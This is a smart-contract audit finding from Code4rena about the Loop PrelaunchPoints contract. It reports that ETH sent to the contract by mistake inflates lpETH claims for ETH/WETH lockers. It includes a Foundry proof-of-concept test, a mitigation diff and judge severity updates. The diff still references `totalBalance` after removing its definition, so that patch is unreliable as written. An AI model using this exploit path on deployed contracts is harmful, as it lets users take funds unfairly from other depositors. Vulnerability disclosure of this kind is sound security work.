User can maliciously lock specific tokens (`ETH` and `WETH`) to gain additional `lpETH` tokens unfairly, if `ETH` was mistakenly deposited by someone.

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L321-L324
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L179-L195

Vulnerability details

Impact

When someone mistakenly deposits ETH to the PrelaunchPoints contract it is supposed to be locked forever, however when the owner calls PrelaunchPoints::convertAllETH function all ETH balance is converted into lpETH including the mistakenly sent ETH.

Now the variable totalSupply only got updated inside PrelaunchPoints::_processLock function when ETH/WETH was deposited. Meanwhile totalLpETH was set inside PrelaunchPoints::convertAllETH method and could be a much larger value.

When a user who locked ETH/WETH calls the PrelaunchPoints::claim or PrelaunchPoints::claimAndStake functions, they receive a much larger amount of lpETH than the ETH/WETH they originally locked.
However, users who locked any other LRTs don't receive this added benefit from the tokens which were supposed to be locked forever, and thereby giving them unfair disadvantage.

        if (_token == ETH) {
 @>         claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }

Proof of Concept

Paste this in PrelaunchPointsTest contract inside test/PrelaunchPoints.t.sol file.

    function testUnfairRewards(uint256 lockAmount) public {
        lockAmount = bound(lockAmount, 1, 1e36);
        vm.deal(address(1), lockAmount);
        vm.deal(address(2), lockAmount);

        // Someone deposits `lockAmount` ETH to the contract mistakenly.
        vm.deal(address(prelaunchPoints), lockAmount);

        // User 1 locks `lockAmount` ETH
        vm.prank(address(1));
        prelaunchPoints.lockETH{value: lockAmount}(referral);
        // User 2 locks `lockAmount` ETH
        vm.prank(address(2));
        prelaunchPoints.lockETH{value: lockAmount}(referral);

        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));

        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        // `totalSupply` variable is 2*lockAmount
        assertEq(prelaunchPoints.totalSupply(), 2*lockAmount);
        // `totalLpETH` variable is 3*lockAmount
        assertEq(prelaunchPoints.totalLpETH(), 3*lockAmount);
        // The contract has 3*lockAmount of lpETH token
        assertEq(lpETH.balanceOf(address(prelaunchPoints)), 3*lockAmount);
        assertEq(prelaunchPoints.startClaimDate(), block.timestamp);

        vm.warp(prelaunchPoints.startClaimDate() + 1);
        vm.prank(address(1));
        // User 1 claims his `lpETH` tokens
        prelaunchPoints.claim(ETH, 100, PrelaunchPoints.Exchange.UniswapV3, emptydata);

        // User 1 should have received lockAmount amount of lpETH tokens
        // But User 1 received 3*lockAmount/2 amount of lpETH tokens
        // Any user aware of any mistakenly deposited ETH can lock ETH and claim more lpETH tokens
        // Mistakenly deposited ETH can be checked through the block explorer
        // Mistakenly deposited ETH can't be withdrawn by the contract owner
        assertEq(lpETH.balanceOf(address(1)), 3*lockAmount/2);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Instead of converting the whole balance of PrelaunchPoints contract, only convert the amount stored in PrelaunchPoints::totalSupply variable to lpETH tokens, and send the remaining ETH to the owner. This prevents giving unfair disadvantage to those who locked LRTs.

    function convertAllETH() external onlyAuthorized onlyBeforeDate(startClaimDate) {
        if (block.timestamp - loopActivation <= TIMELOCK) {
            revert LoopNotActivated();
        }

        // deposits all the ETH to lpETH contract. Receives lpETH back
-       uint256 totalBalance = address(this).balance;
-       lpETH.deposit{value: totalBalance}(address(this));
+       lpETH.deposit{value: totalSupply}(address(this));

        totalLpETH = lpETH.balanceOf(address(this));

        // Claims of lpETH can start immediately after conversion.
        startClaimDate = uint32(block.timestamp);

+       owner.transfer(address(this).balance);

        emit Converted(totalBalance, totalLpETH);
    }

Assessed type

Token-Transfer

[c4-judge]

koolexcrypto marked the issue as duplicate of #18

[c4-judge]

koolexcrypto changed the severity to 3 (High Risk)

[c4-judge]

koolexcrypto changed the severity to 2 (Med Risk)

[c4-judge]

koolexcrypto marked the issue as partial-50

[c4-judge]

koolexcrypto changed the severity to 3 (High Risk)

[c4-judge]

koolexcrypto marked the issue as duplicate of #33

[c4-judge]

koolexcrypto marked the issue as partial-25